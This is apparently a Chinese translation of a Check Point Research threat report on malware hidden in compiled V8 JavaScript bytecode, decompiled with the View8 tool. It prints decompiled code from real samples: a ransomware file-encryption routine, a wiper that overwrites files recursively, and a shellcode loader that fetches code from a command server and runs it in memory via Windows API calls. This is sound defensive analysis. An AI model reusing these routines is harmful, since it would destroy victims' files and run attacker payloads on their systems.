最近几个月,CheckPoint Research(CPR)一直在调查编译后的V8 JavaScript在恶意软件中的使用情况。编译V8 JavaScript是V8(Google的JavaScript引擎)中一个不太为人所知的特性,它可以将JavaScript编译成低级字节码。这种技术可以帮助攻击者避开静态检测并隐藏其原始源代码,使其几乎不可能进行静态分析。
为了静态分析编译后的JavaScript文件,研究人员使用了一个新开发的定制工具“View8”,专门用于将V8字节码反编译为高级可读语言。借助View8,研究人员成功反编译了数千个恶意编译的V8应用程序,涵盖各种恶意软件类型,如远程访问工具(RAT),窃取程序,挖矿程序甚至勒索软件。
由于编译后的V8极少被检测到,因此安全供应商对大部分样本的检测率非常低,尽管它已被用于在野攻击。
在本文中,CPR解释了什么是编译的V8 JavaScript,攻击者如何在其恶意软件中利用它,最重要的是,它是如何被真正的威胁参与者在野应用的。
背景
V8是由Google开发的开源JavaScript引擎。它是用C++语言编写的,并广泛用于Google Chrome和其他几个公共项目(包括Node.js)。V8字节码是JavaScript代码优化过程中的中间步骤。它使V8引擎能够通过序列化和翻译更接近机器码的优化代码来高效地执行JavaScript。
![1721012833_669492611e1a82f3f82fa.png!small?1721012833446](https://img-blog.csdnimg.cn/img_convert/a63e6f5c5157ecab10ea8a42c7208a62.jpeg)
【图1:Ignition平台演示如何将普通JavaScript转换为序列化的字节码】
V8支持缓存序列化的字节码,以便解释器稍后执行。虽然最初的设想是通过绕过初始解析步骤来提高性能,但开发人员(尤其是恶意软件开发者)可以利用该特性来隐藏应用程序的源代码。
V8编译
为了利用这个特性并将普通JavaScript编译成序列化的V8字节码,研究人员利用了Node.js平台中的内置vm模块。vm.Script方法使用两个参数:第一个是JavaScript代码,第二个是一个选项字典。在编译的情况下,研究人员传递了produceCachedData: true选项,这将产生一个包含序列化字节码的缓冲区。例如,考虑下面的代码片段:
const vm = require('vm');
// Compiling JavaScript into serialized bytecode
let helloWorld = new vm.Script("console.log('hello world!')", { produceCachedData: true });
let compiledBuffer = helloWorld.cachedData;
虽然vm模块为字节码序列化提供了一个原生和直接的方法,但使用bytenode模块更方便,它简化了字节码编译和随后执行的过程。
const bytenode = require('bytenode');
// Compiling JavaScript into bytecode and executing it
bytenode.compileFile('script.js', 'script.jsc'); // Compiling JavaScript to bytecode
require('./script.jsc'); // Running the compiled bytecode
V8字节码对象由序列化数据之前的请求标头组成。下面是标头的结构分解(注意:在V8的旧版本中,结构略有不同):
struct CahcedDataHeaders
{
static const uint32_t kMagicNumber; // 0xC0DE0000 ^ ExternalReferenceTable::kSize
static const uint32_t kVersionHash; // V8 version hashed
static const uint32_t kSourceHash; // Original source code length
static const uint32_t kFlagHash // V8 flags hashed
static const uint32_t kPayloadLength // Bytecode length
static const uint32_t kChecksum // Bytecode Adler-32 checksum
};
编译后的V8字节码被设计为只运行在编译它的V8版本上。在反序列化编译对象之前,V8引擎将当前版本与存储在标头文件中的版本进行比较。如果不匹配,解析过程将失败。
![1721012954_669492dac2e42de1e136d.png!small?1721012955134](https://img-blog.csdnimg.cn/img_convert/dc15b457b041c9e62906dcdda9131603.jpeg)
【图2:V8 magic 0xC0DE从第3个字节开始】
V8执行
由于编译后的V8字节码被绑定到编译的特定版本,攻击者必须确保字节码与V8引擎之间的兼容性才能成功执行。这可以通过不同的方式实现。以下是三种常见的方法:
- 提供编译后的脚本以及兼容V8版本的Node.js引擎;
- 使用节点打包器(如PKG或NEXE)将NodeJS平台与已编译脚本打包成单个可执行文件。在PKG的情况下,包程序默认编译所有的脚本文件;
- 利用Electron框架,允许使用web技术开发跨平台桌面应用程序。
在撰写本文时,还没有公开的解决方案可用于将V8字节码反编译回高级语言。虽然有一个社区努力开发这样的工具,但它是专用于特定的V8版本,并且被认为太具有挑战性,无法复制到其他版本。
View8
View8是一个新的开源静态分析工具,用于将v8字节码反编译为高级可读代码。这个工具是用Python编写的,由CPR的一位研究人员开发,现在可供安全社区使用。View8将编译后的文件作为参数,并使用类似于JavaScript的语言生成文本反编译版本。最重要的是,对于多个V8版本,该工具的维护相对简单。
![1721012972_669492eced61faf845f86.png!small?1721012973428](https://img-blog.csdnimg.cn/img_convert/f49d4d2b4f68007120582e8bc18e7f9f.jpeg)
【图3:使用View8进行反编译的高级概述】
使用View8,CPR成功地反编译并分析了来自不同来源的数千个恶意V8编译文件。调查发现了广泛的恶意软件家族,包括窃取程序、加载程序、RAT、擦拭器和勒索软件。值得注意的是,这些文件中的大多数在VirusTotal的检测分数非常低。
威胁行为者似乎非常清楚这一点,因为研究已经发现恶意软件开发者也在强调使用V8代码的某些恶意软件家族的检测率很低:
![1721012983_669492f73fea817ddb8e8.png!small?1721012983845](https://img-blog.csdnimg.cn/img_convert/bfed33930c43d3cecf5f1ed3c50934ca.jpeg)
【图4:恶意软件开发者在打包和编译时强调VirusTotal的低检测率】
此外,CPR还确定了许多开源JavaScript恶意软件的实例,如TurkoRat、Vare-Stealer和Mirai stealer,这些恶意软件在发布之前被攻击者编译成V8字节码。在某些情况下,开发者甚至提供了打包和编译恶意软件的说明,强调他们在VirusTotal上的低检测率。
V8在野应用
使用View8,研究人员开始利用编译后的V8系统地反编译恶意软件样本,并成功迭代了数千个样本,其中一些在过去的研究中讨论过。这包括Ice Breaker和ChromeLoader的新变体,不过以前它们无法静态分析,因此主要是启发式分析。
以下是研究人员在野发现的一些恶意软件示例。
ChromeLoader
ChromeLoader最初于2022年初被发现,是一个劫持浏览器、窃取敏感信息并运行额外有效载荷的恶意软件家族。这个恶意软件家族对编译V8的使用特别有趣,因为开发者嵌入了一个加密的V8字节码有效负载,并使用NodeJS内置方法(vm.Script)调用它,这表明他们已经高度意识到使用V8编译代码的优势。
![1721013002_6694930a6735f241b7cd2.png!small?1721013003156](https://img-blog.csdnimg.cn/img_convert/3b7b634ce4ffb5fd27f5971daad7af1f.jpeg)
【图5:ChromeLoader Electron应用概述】
在最近的ChromeLoader变体中,该恶意软件已经演变为使用Electron,这是一个使用HTML和JavaScript等网络技术制作桌面应用程序的框架。通常情况下,攻击者会利用合法的开源应用程序(如FLB-Music-Player和PDF-Viewer),并在原始文件中无缝嵌入恶意加载程序脚本。
嵌入在Electron应用程序中的ChromeLoader加载器脚本严重混淆。解混淆后,该加载器会读取base64字符串,对其进行解码,并使用RC4对其进行解密。解密的内容是一个字节码对象,稍后使用vm.Script调用它会呈现最后的有效负载。
![1721013010_6694931296f1dc0351e4d.png!small?1721013010965](https://img-blog.csdnimg.cn/img_convert/e362025454afc5ac2c3ac9bc88e31e22.jpeg)
【图6:执行_0x291e9c中的字节码blob的去混淆加载器脚本】
![1721013024_66949320306ca392ed345.png!small?1721013025005](https://img-blog.csdnimg.cn/img_convert/18e66c46afd0c14a404a937f9d37bf2c.jpeg)
【图7:ChromeLoader 320kb提取字节码】
如果没有适当的分析工具,基于硬编码字符串的静态文件检查将无法揭示任何恶意软件的操作或识别恶意指标。然而,在View8反编译后,研究人员成功地提取了恶意软件的配置、C&C域和加密机制,以获得动态有效载荷。
![1721013037_6694932dd2953f4e82b47.png!small?1721013038550](https://img-blog.csdnimg.cn/img_convert/7789f5e48335610462966bb475a0a17b.jpeg)
【图8:恶意软件的一些配置,包括C&C域和加密密钥】
勒索软件和擦除器(wiper)
在接受调查的文件中,研究人员还发现了一些勒索软件。它的结构很简单,包括一系列读取、加密和写入操作。例如,下述特定示例:e73c59ec8ee0b7bcc2b26e740946a121f73c98355dc87b177ebe77258b403d63是使用节点PKG打包的。
该恶意软件从某些配置开始,包括要加密的目录、要攻击的文件扩展名和一个充当C&C的Discord网络钩子(webhook)。
![1721013051_6694933b1367ef94ca8ad.png!small?1721013051924](https://img-blog.csdnimg.cn/img_convert/bbc677dcbdadb1e45799561cebe5cb7c.jpeg)
【图9:勒索软件配置】
然后,该恶意软件根据配置递归地遍历所有目录,并使用AES加密算法对它们进行加密。
function encryptFile_0000023737FA04E9(file_name) {
{
r6 = fs["statSync"](file_name)
if (r6["size"] > 100000000)
{
return undefined
}
r6 = isHiddenFile(file_name)
if (r6 == true)
{
return undefined
}
r1 = crypto["createCipheriv"]("aes-256-cbc", key, iv)
r2 = fs["createReadStream"](file_name)
r3 = fs["createWriteStream"](file_name)
r7 = r2["pipe"](r1)
ACCU = r7["pipe"](r3)
ACCU = r3["on"]("finish", SharedFunctionInfo_0000023737FA0769)
return undefined
}
最后,该恶意软件使用Discord网络钩子将受害者的信息发送回攻击者。有趣的是,尽管恶意软件成功地加密了文件系统上的文件,但它在VirusTotal上的检测率仍然很低,只有一次通用检测。
与勒索软件类似,研究人员还观察到一种类型的擦除器:2e74d21cade1c7ef78dd3bfa06f686cb41a045bb52e0151c1bb51474b97dd2dc,它遍历文件系统中的文件并用随机字符串覆盖它们。
function destroyFiles_000000CBE13DDDC1(a0) {
Scope[2][2] = a0
r0 = fs["readdirSync"](Scope[2][2])
ACCU = r0["forEach"](SharedFunctionInfo_000000CBE13DDF51)
return undefined
}
function SharedFunctionInfo_000000CBE13DDF51(a0) {
r0 = path["join"](Scope[2][2], a0)
r1 = fs["statSync"](r0)
if (r1["isDirectory"]())
{
ACCU = destroyFiles_000000CBE13DDDC1(r0)
}
else
{
r9 = "Math"["random"]()
r6 = string_list["Math"["floor"]((string_list["length"] * r9))]
r5 = r0
ACCU = fs["writeFileSync"](r5, r6, "utf8")
}
return undefined
}
Shellcode加载器
最近,引起研究人员注意的另一个恶意软件是shellcode加载器,它具有从远程C&C服务器获取动态x64 shellcode并执行它们的能力。
该恶意软件包含ffi-napi和ref-napi模块,允许通过纯JavaScript加载和调用动态库。接下来,该加载器会建立与C&C服务器的通信,以检索shellcode缓冲区。
http = require("http")
r3 = require("./update.js") // configuration file containing C2
ffi_napi = require("ffi-napi")
ref_napi = require("ref-napi")
Scope[1][4] = ref_napi["types"]["uint64"]
Scope[1][5] = ref_napi["types"]["uint32"]
Scope[1][6] = ref_napi["types"]["void"]
Scope[1][7] = ref_napi["refType"](Scope[1][6])
Scope[1][8] = Scope[1][7]
Scope[1][9] = ref_napi["refType"](Scope[1][5])
r4 = http["get"](r3["UpdateSoftware"], get_shellcode)
ACCU = r4["on"]("error", SharedFunctionInfo_000002F3D955EA09)
最后,该shellcode会被恶意行为者加载到系统内存中,并使用一系列Windows API调用执行。
r1 = ffi_napi["Library"]("kernel32", r7)
r6 = r1
r2 = r1["VirtualAlloc"](null, shellcode_buffer["length"], 12288, 64)
r6 = r1
r7 = r2
ACCU = r1["RtlMoveMemory"](r7, shellcode_buffer, shellcode_buffer["length"])
r7 = ref_napi["refType"](ref_napi["types"]["uint32"])
r3 = ref_napi["alloc"](r7)
r6 = r1
r9 = r2
r12 = r3
r4 = r1["CreateThread"](null, 0, r9, null, 0, r12)
ACCU = r1["WaitForSingleObject"](r4, 4294967295.0)
通过代码分析,研究人员在GitHub上发现了一个名为“node-shellcode”的存储库,恶意软件基于的正是这个存储库。请注意反编译版本与下面的原始代码之间的相似性。
![1721013126_66949386d4c91810ba776.png!small?1721013127271](https://img-blog.csdnimg.cn/img_convert/cbef5164b65725c361b02c81002312f0.jpeg)
【图10:来自GitHub的node-shellcode源代码】
结论
在安全专家和威胁参与者的持续战斗中,恶意软件开发人员正不断创新攻击技巧来隐藏其足迹。他们将目光锁定V8并不奇怪,因为这项技术通常用于创建软件,应用十分广泛且极难分析。
在本文中,研究人员为我们演示了V8编译代码是如何在常规应用程序中以及恶意目的中使用的。由于这项技术已经被威胁行为者在野应用,研究人员还特别介绍了它应用于不同恶意软件家族的示例,其中最突出的是ChromeLoader,它的编写方式表明攻击者对该技术非常熟悉。
研究人员的许多见解均得益于View8的使用,这是一个新的工具,可以更容易地分解V8编译的代码。通过将V8恶意软件翻译成一种更容易理解和分析的伪JavaScript形式,研究人员能够更容易地研究V8恶意软件。希望随着这个工具的可用,它将帮助其他人发现和阻止V8恶意软件。
原文链接: